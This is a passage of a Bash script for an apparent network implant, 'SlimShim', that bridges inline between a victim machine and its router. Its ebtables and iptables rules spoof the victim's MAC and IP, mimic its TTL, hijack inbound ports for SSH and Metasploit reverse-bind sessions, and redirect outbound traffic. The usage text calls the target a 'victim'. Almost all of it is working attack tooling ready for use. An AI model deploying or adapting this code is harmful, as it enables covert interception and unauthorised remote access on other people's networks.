374 | iptables -t nat -A PREROUTING -s ${ARGS[sip]} -d ${ARGS[origdip]} -p ${ARGS[proto]} -m ${ARGS[proto]} --dport ${ARGS[dstport]} -j DNAT --to-destination ${ARGS[newdip]}:${ARGS[dstport]}
375 | set +x
376 | }
377 | ################################################################################
378 | # redirect traffic going to victim IP($sip) on $rdrport to the SlimShim on $dstport
379 | function redirectIngressPort()
380 | {
381 | if [[ -z ${ARGS[proto]} ]] \
382 | || [[ -z ${ARGS[sip]} ]] \
383 | || [[ -z ${ARGS[rdrport]} ]] \
384 | || [[ -z ${ARGS[dstport]} ]] \
385 | || [[ -z ${ARGS[myip]} ]] \
386 | || [[ -z ${ARGS[mymac]} ]]
387 | then
388 | echo "FAILURE: invalid args"
389 | exit 1
390 | fi
391 | set -x
392 | iptables -t nat -A PREROUTING ! -s ${ARGS[myip]} -d ${ARGS[sip]} -p ${ARGS[proto]} -m ${ARGS[proto]} --dport ${ARGS[rdrport]} -j DNAT --to-destination ${ARGS[myip]}:${ARGS[dstport]}
393 | set +x
394 | }
395 | ################################################################################
396 | # redirect multiple ports(begin:end) to SlimShim. Useful for reverse-bind attacks in Metasploit
397 | function redirectIngressPorts()
398 | {
399 | if [[ -z ${ARGS[proto]} ]] \
400 | || [[ -z ${ARGS[sip]} ]] \
401 | || [[ -z ${ARGS[rdrport]} ]] \
402 | || [[ -z ${ARGS[dstport]} ]] \
403 | || [[ -z ${ARGS[myip]} ]] \
404 | || [[ -z ${ARGS[mymac]} ]]
405 | then
406 | echo "FAILURE: invalid args"
407 | exit 1
408 | fi
409 | set -x
410 | iptables -t nat -A PREROUTING ! -s $myip -d $sip -p $proto -m $proto -m multiport --dports ${ARGS[rdrports]} -j DNAT --to-destination $myip
411 | set +x
412 | }
413 | ################################################################################
414 | # add a lan to the shim, e.g. wifi or openvpn on the SlimShim device
415 | function addLan()
416 | {
417 | if [[ -z ${ARGS[lan]} ]] \
418 | || [[ -z ${ARGS[sip]} ]] \
419 | || [[ -z ${ARGS[rip]} ]] \
420 | || [[ -z ${ARGS[dynports]} ]]
421 | then
422 | echo "FAILURE: invalid args"
423 | exit 1
424 | fi
425 | set -x
426 | iptables -t nat -A POSTROUTING -p tcp -s ${ARGS[lan]} ! -d ${ARGS[sip]} -j SNAT --to ${ARGS[sip]}:${ARGS[dynports]}
427 | iptables -t nat -A POSTROUTING -p udp -s ${ARGS[lan]} ! -d ${ARGS[sip]} -j SNAT --to ${ARGS[sip]}:${ARGS[dynports]}
428 | iptables -t nat -A POSTROUTING -p icmp -s ${ARGS[lan]} ! -d ${ARGS[sip]} -j SNAT --to ${ARGS[sip]}
429 | iptables -t nat -A POSTROUTING -p tcp -s ${ARGS[lan]} -d ${ARGS[sip]} -j SNAT --to ${ARGS[rip]}:${ARGS[dynports]}
430 | iptables -t nat -A POSTROUTING -p udp -s ${ARGS[lan]} -d ${ARGS[sip]} -j SNAT --to ${ARGS[rip]}:${ARGS[dynports]}
431 | iptables -t nat -A POSTROUTING -p icmp -s ${ARGS[lan]} -d ${ARGS[sip]} -j SNAT --to ${ARGS[rip]}
432 | set +x
433 | }
434 | ################################################################################
435 | function do_usage()
436 | {
437 | cat < --sip= --rmac= --rip=
444 |
445 | To prepare SlimShim with a bridge (automatically done when shim/autoshim is run)
446 | $0 prep
447 |
448 | Guess the IP/MAC of victim and router
449 | $0 guess
450 |
451 | Guess the IP/MAC of victim and router and then run the shim
452 | $0 autoshim
453 |
454 | Watch for arps and populate arp table.
455 | This is absolutely required after the shim is run, otherwise your SlimShim will not be able to connect to anything.
456 | I recommend you run this in screen: screen -dmS arpwatch $0 arpwatch
457 | $0 arpwatch
458 |
459 | Add my wifi network so I can route through the SlimShim (192.0.0.0/24 is an RFC 5736 private network)
460 | $0 addLan --lan=192.0.0.0/24 --envfile=/root/slimshim.env
461 |
462 | Redirect inbound 2501 to ssh on SlimShim
463 | $0 redirectIngressPort --proto=tcp --rdrport=2501 --dstport=22 --envfile=/root/slimshim.env
464 |
465 | Redirect outbound to 1.1.1.1 to SlimShim
466 | $0 redirectEgressIP --origdip=1.1.1.1 --envfile=/root/slimshim.env
467 |
468 | Redirect outbound to bing.com for http to google.com
469 | $0 redirectEgressPort --envfile=/root/slimshim.env --origdip=204.79.197.200 --newdip=172.217.4.110 --proto=tcp --dstport=80
470 |
471 | Watch for DNS requests and update resolv.conf
472 | Google DNS is hardcoded in this function, so remove it if you don't like it.
473 | screen -dmS getdns $0 getdns
474 |
475 |
476 | EOF
477 | exit 1
478 | }
479 | ################################################################################
480 | function do_envwrite()
481 | {
482 | # Write variables to env file
483 | local envfile="/root/slimshim.env"
484 | rm -f $envfile 2>/dev/null
485 | for i in "${!ARGS[@]}"
486 | do
487 | echo "$i=${ARGS[$i]}" >>$envfile
488 | echo "ARGS[$i]=${ARGS[$i]}" >>$envfile
489 | done
490 | }
491 | ################################################################################
492 | function do_clearall()
493 | {
494 | ebtables -t filter -F >/dev/null 2>&1
495 | iptables -t filter -F >/dev/null 2>&1
496 | ebtables -t nat -F >/dev/null 2>&1
497 | iptables -t nat -F >/dev/null 2>&1
498 | iptables -t mangle -F >/dev/null 2>&1
499 | iptables -t raw -F >/dev/null 2>&1
500 | }
501 | ################################################################################
502 | function do_runprep()
503 | {
504 | local gotofail=0
505 | local int1
506 | local int2
507 |
508 | do_clearall
509 | if ! which ip iptables ebtables modprobe brctl route ifconfig sysctl >/dev/null 2>&1
510 | then
511 | echo "FATAL ERROR: you are missing one or more commands"
512 | echo "Make sure the following commands are in your path:"
513 | echo "ip iptables ebtables modprobe brctl route ifconfig sysctl"
514 | exit 1
515 | fi
516 | modprobe arptable_filter >/dev/null 2>&1
517 | modprobe br_netfilter >/dev/null 2>&1
518 |
519 | sysctl -w net.bridge.bridge-nf-call-arptables=1 >/dev/null 2>&1 || gotofail=1
520 | sysctl -w net.bridge.bridge-nf-call-ip6tables=1 >/dev/null 2>&1 || gotofail=1
521 | sysctl -w net.bridge.bridge-nf-call-iptables=1 >/dev/null 2>&1 || gotofail=1
522 |
523 | # ADJUST FOR THE INTERFACES YOU HAVE
524 | # NEXX devices only have eth0.1 and eth0.2
525 | # WARNING: OpenWRT/LEDE devices will fail if you haven't configured the interfaces to tag with the cpu interface
526 | if ip link show eth1 >/dev/null 2>&1
527 | then
528 | int1=eth0
529 | int2=eth1
530 | elif ip link show eth0.2 >/dev/null 2>&1
531 | then
532 | int1=eth0.1
533 | int2=eth0.2
534 | else
535 | echo "FATAL ERROR: you are missing either eth1 or eth0.2"
536 | exit 1
537 | fi
538 | ebtables -t filter -A OUTPUT -s ${ARGS[mymac]} -d ff:ff:ff:ff:ff:ff -j DROP >/dev/null 2>&1
539 | ebtables -t filter -A OUTPUT -s ${ARGS[mymac]} -d 01:00:5e:00:00:01 -j DROP >/dev/null 2>&1
540 | ebtables -t filter -A OUTPUT -s ${ARGS[mymac]} -d 33:33:00:00:00:01 -j DROP >/dev/null 2>&1
541 |
542 | ifconfig $int1 -arp up
543 | ifconfig $int2 -arp up
544 | if brctl show br-lan 2>&1 |grep -q "No such device"
545 | then
546 | brctl addbr br-lan
547 | brctl addif br-lan $int1
548 | brctl addif br-lan $int2
549 | fi
550 | ifconfig br-lan ${ARGS[myip]} netmask 255.255.255.0 -arp up || gotofail=1
551 | ip link set dev br-lan address ${ARGS[mymac]} arp off || gotofail=1
552 | #route add default dev br-lan >/dev/null 2>&1
553 |
554 | while ip route |grep -q default
555 | do
556 | defaultroute=$(ip route |grep default |head)
557 | ip route delete $defaultroute >/dev/null 2>&1
558 | done
559 |
560 | if [[ $gotofail == 1 ]]
561 | then
562 | echo "FATAL ERROR: do_runprep function failed"
563 | exit 1
564 | fi
565 | }
566 | ################################################################################
567 | function do_autoshim()
568 | {
569 | do_runprep
570 | do_guess
571 | do_shim
572 | }
573 | ################################################################################
574 | function do_shim()
575 | {
576 | local brdev
577 | local gotofail=0
578 |
579 | # just to make sure we're ready
580 | do_runprep
581 |
582 | if [[ -n ${ARGS[vlan]} ]]
583 | then
584 | modprobe 8021q >/dev/null 2>&1
585 | if ! lsmod |grep -q 8021q
586 | then
587 | echo "ALERT: did not see 8021q kernel module via lsmod"
588 | echo "I hope you have it compiled in the kernel."
589 | echo "Proceeding anyways. Watch out for failures."
590 | fi
591 | brdev="br-lan.${ARGS[vlan]}"
592 | #vconfig add br-lan ${ARGS[vlan]}
593 | ip link add link br-lan name $brdev type vlan id ${ARGS[vlan]}
594 | ip link set dev $brdev up || gotofail=1
595 | ifconfig br-lan 169.254.99.99/32 -arp up || gotofail=1
596 | ifconfig $brdev ${ARGS[myip]} netmask 255.255.255.0 -arp up || gotofail=1
597 | else
598 | brdev="br-lan"
599 | fi
600 | ARGS[brdev]=$brdev
601 |
602 | if [[ $gotofail == '1' ]]
603 | then
604 | echo "FATAL ERROR: do_shim function failed"
605 | exit 1
606 | fi
607 |
608 | set -x
609 | # slimshim going out
610 | ebtables -t nat -A POSTROUTING -s ${ARGS[mymac]} ! -d ${ARGS[smac]} -j snat --to-source ${ARGS[smac]}
611 | if [[ -n ${ARGS[vlan]} ]]
612 | then
613 | ebtables -t nat -A POSTROUTING -p 0x8100 -s ${ARGS[mymac]} ! -d ${ARGS[smac]} -j snat --to-source ${ARGS[smac]}
614 | fi
615 | iptables -t nat -A POSTROUTING -p tcp -s ${ARGS[myip]} ! -d ${ARGS[sip]} -j SNAT --to ${ARGS[sip]}:${ARGS[dynports]}
616 | iptables -t nat -A POSTROUTING -p udp -s ${ARGS[myip]} ! -d ${ARGS[sip]} -j SNAT --to ${ARGS[sip]}:${ARGS[dynports]}
617 | iptables -t nat -A POSTROUTING -p icmp -s ${ARGS[myip]} ! -d ${ARGS[sip]} -j SNAT --to ${ARGS[sip]}
618 |
619 | # slimshim going to victim
620 | ebtables -t nat -A POSTROUTING -s ${ARGS[mymac]} -d ${ARGS[smac]} -j snat --to-source ${ARGS[rmac]}
621 | if [[ -n ${ARGS[vlan]} ]]
622 | then
623 | ebtables -t nat -A POSTROUTING -p 0x8100 -s ${ARGS[mymac]} -d ${ARGS[smac]} -j snat --to-source ${ARGS[rmac]}
624 | fi
625 | iptables -t nat -A POSTROUTING -p tcp -s ${ARGS[myip]} -d ${ARGS[sip]} -j SNAT --to ${ARGS[rip]}:${ARGS[dynports]}
626 | iptables -t nat -A POSTROUTING -p udp -s ${ARGS[myip]} -d ${ARGS[sip]} -j SNAT --to ${ARGS[rip]}:${ARGS[dynports]}
627 | iptables -t nat -A POSTROUTING -p icmp -s ${ARGS[myip]} -d ${ARGS[sip]} -j SNAT --to ${ARGS[rip]}
628 |
629 | # outside to victim
630 | if [[ -n ${ARGS[vlan]} ]]
631 | then
632 | ebtables -t nat -A PREROUTING -p 0x8100 --vlan-encap 0x0800 -s ${ARGS[smac]} -d ${ARGS[rmac]} -j dnat --to-destination ${ARGS[mymac]}
633 | ebtables -t nat -A PREROUTING -p 0x8100 --vlan-encap 0x0800 -s ${ARGS[rmac]} -d ${ARGS[smac]} -j dnat --to-destination ${ARGS[mymac]}
634 | else
635 | # EXPERIMENTAL
636 | #ebtables -t nat -A PREROUTING -p 0x0800 --ip-proto tcp --ip-destination ${ARGS[sip]} --ip-destination-port=${ARGS[rdrports]} -j dnat --to-destination ${ARGS[mymac]}
637 | #ebtables -t nat -A PREROUTING -p 0x0800 --ip-proto udp --ip-destination ${ARGS[sip]} --ip-destination-port=${ARGS[rdrports]} -j dnat --to-destination ${ARGS[mymac]}
638 | true
639 | fi
640 |
641 | iptables -t nat -A PREROUTING ! -s ${ARGS[myip]} -d ${ARGS[sip]} -p tcp -m tcp -m multiport --dports ${ARGS[rdrports]} -j DNAT --to-destination ${ARGS[myip]}
642 | iptables -t nat -A PREROUTING ! -s ${ARGS[myip]} -d ${ARGS[sip]} -p udp -m udp -m multiport --dports ${ARGS[rdrports]} -j DNAT --to-destination ${ARGS[myip]}
643 |
644 | # victim going to slimshim
645 | ip neigh replace ${ARGS[sip]} lladdr ${ARGS[smac]} dev $brdev >/dev/null 2>&1
646 | ip neigh replace ${ARGS[rip]} lladdr ${ARGS[rmac]} dev $brdev >/dev/null 2>&1
647 |
648 | # mimic the ttl
649 | # Note: this will fail on OpenWRT/LEDE until they upgrade
650 | if [[ -n ${ARGS[ttl]} ]]
651 | then
652 | iptables -t mangle -A POSTROUTING -o $brdev -j TTL --ttl-set ${ARGS[ttl]}
653 | fi
654 |
655 | ip route add ${ARGS[sip]} dev $brdev >/dev/null 2>&1
656 | ip route add ${ARGS[rip]} dev $brdev >/dev/null 2>&1
657 | ip route add default via ${ARGS[rip]} dev $brdev >/dev/null 2>&1
658 | set +x
659 |
660 | do_envwrite
661 | }
662 | ################################################################################
663 |
664 |
665 | ################################################################################
666 | ################################################################################
667 | # MAIN
668 | ################################################################################
669 | ################################################################################
670 |
671 | if ! id |grep -q uid=0
672 | then
673 | echo "You must be root to run this"
674 | exit 1
675 | fi
676 |
677 | if ! which tcpdump awk sed cut grep egrep >/dev/null 2>&1
678 | then
679 | echo "# FAIL: you must install the following: tcpdump awk sed cut grep egrep"
680 | exit 1
681 | fi
682 |
683 | # Kali broke ebtables, but left the legacy
684 | if which ebtables-legacy >/dev/null 2>&1
685 | then
686 | alias ebtables=ebtables-legacy
687 | fi
688 |
689 | case $1 in
690 | shim)
691 | COMMAND=do_shim
692 | shift
693 | ;;
694 | prep)
695 | COMMAND=do_runprep
696 | shift
697 | ;;
698 | guess)
699 | COMMAND=do_guess
700 | shift
701 | ;;
702 | autoshim)
703 | COMMAND=do_autoshim
704 | shift
705 | ;;
706 | arpwatch)
707 | COMMAND=do_arpwatch
708 | shift
709 | ;;
710 | getdns)
711 | COMMAND=do_getdns
712 | shift
713 | ;;
714 | undo)
715 | COMMAND=do_clearall
716 | shift
717 | ;;
718 | redirectEgressIP)
719 | COMMAND=redirectEgressIP
720 | shift
721 | ;;
722 | redirectEgressPort)
723 | COMMAND=redirectEgressPort
724 | shift
725 | ;;
726 | redirectIngressPort)
727 | COMMAND=redirectIngressPort
728 | shift
729 | ;;
730 | redirectIngressPorts)
731 | COMMAND=redirectIngressPorts
732 | shift
733 | ;;
734 | addLan)
735 | COMMAND=addLan
736 | shift
737 | ;;
738 | *)
739 | do_usage
740 | shift
741 | ;;
742 | esac
743 |
744 | declare -A ARGS
745 | for i in "$@"
746 | do
747 | case $i in
748 | --smac=*)
749 | ARGS[smac]="${i#*=}"
750 | shift
751 | ;;
752 | --sip=*)
753 | ARGS[sip]="${i#*=}"
754 | shift
755 | ;;
756 | --rmac=*)
757 | ARGS[rmac]="${i#*=}"
758 | shift
759 | ;;
760 | --rip=*)
761 | ARGS[rip]="${i#*=}"
762 | shift
763 | ;;
764 | --proto=*)
765 | ARGS[proto]="${i#*=}"
766 | shift
767 | ;;
768 | --rdrport=*)
769 | ARGS[rdrport]="${i#*=}"
770 | shift
771 | ;;
772 | --dstport=*)
773 | ARGS[dstport]="${i#*=}"
774 | shift
775 | ;;
776 | --origdip=*)
777 | ARGS[origdip]="${i#*=}"
778 | shift
779 | ;;
780 | --newdip=*)
781 | ARGS[newdip]="${i#*=}"
782 | shift
783 | ;;
784 | --lan=*)
785 | ARGS[lan]="${i#*=}"
786 | shift
787 | ;;
788 | --vlan=*)
789 | ARGS[vlan]="${i#*=}"
790 | shift
791 | ;;
792 | --help|-h|--usage)
793 | do_usage
794 | shift
795 | ;;
796 | --envfile=*)
797 | envfile="${i#*=}"
798 | if [[ -f "$envfile" ]]
799 | then
800 | . "$envfile"
801 | else
802 | echo "No env file $envfile"
803 | fi
804 | shift
805 | ;;
806 | *)
807 | echo "#########################"
808 | echo "# I don't know what $i is"
809 | echo "#########################"
810 | do_usage
811 | exit 1
812 | ;;
813 | esac
814 | done
815 |
816 | ARGS[myip]='169.254.0.1'
817 | ARGS[mymac]='0:1:1:1:1:1'
818 |
819 | # rdrports must overlap with dynports. Dynports are for source ports on egress connections. Rdrports will be redirected to $myip.
820 | ARGS[dynports]='27000-32000'
821 | ARGS[rdrports]='27000:32000'
822 | # $dynports needs '-' and $rdrports needs ':'. Blame it on netfilter.
823 |
824 | if [[ $COMMAND == 'do_shim' ]]
825 | then
826 | if [[ -z $sip ]] \
827 | || [[ -z $smac ]] \
828 | || [[ -z $rip ]] \
829 | || [[ -z $rmac ]]
830 | then
831 | echo "FAILURE: missing arguments"
832 | exit 1
833 | fi
834 | fi
835 |
836 | # execute function set in $1
837 | $COMMAND
838 |
839 | #echo "# ARGS:"
840 | #for i in "${!ARGS[@]}"; do
841 | # echo "$i=${ARGS[$i]}"
842 | #done
843 |
844 |
845 |
846 |
--------------------------------------------------------------------------------